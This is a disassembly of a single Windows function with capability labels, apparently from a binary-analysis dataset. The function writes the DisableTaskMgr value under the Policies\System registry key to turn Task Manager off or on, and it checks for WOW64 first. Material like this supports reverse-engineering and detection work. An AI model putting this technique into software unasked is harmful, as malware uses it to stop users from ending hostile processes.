Function at 0x401a60
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46ad7c
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x48b378]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.IsWow64Process
push str.kernel32
mov edi, 0xf003f
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401ac0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 0x1c], 0
mov eax, 0xf013f
mov dword [ebp - 0x28], 0
cmovne edi, eax
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push edi
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 4
test eax, eax
je 0x401ba2
xor eax, eax
mov dword [ebp - 0x2c], 7
push str.main
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
mov word [ebp - 0x40], ax
call fcn.00402500
lea edx, [ebp - 0x40]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.0040b730
mov byte [ebp - 4], 1
mov esi, dword [eax]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push str.Reg_Open_Key__s_Error__d___r_n
push esi
call fcn.0040bb90
add esp, 0x10
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x1c]
test edi, edi
je 0x401b84
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x401b84
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lock xadd dword [edi + 8], esi
dec esi
jne 0x401b84
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov eax, dword [ebp - 0x2c]
cmp eax, 8
jb 0x401c4e
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00402430
jmp 0x401c4e
xor eax, eax
cmp dword [ebp + 8], eax
sete al
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x401c45
push str.main
lea ecx, [ebp - 0x60]
call fcn.00402600
lea edx, [ebp - 0x60]
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x48]
call fcn.0040b730
mov byte [ebp - 4], 4
mov esi, dword [eax]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x18]
push str.Reg_DisableTaskMgr_Set__d_Error__d___r_n
push esi
call fcn.0040bb90
add esp, 0x10
mov byte [ebp - 4], 5
mov edi, dword [ebp - 0x44]
test edi, edi
je 0x401c30
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x401c30
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lock xadd dword [edi + 8], esi
dec esi
jne 0x401c30
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov eax, dword [ebp - 0x4c]
cmp eax, 8
jb 0x401c45
inc eax
lea ecx, [ebp - 0x60]
push eax
push dword [ebp - 0x60]
call fcn.00402430
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044e878
mov esp, ebp
pop ebp
ret 4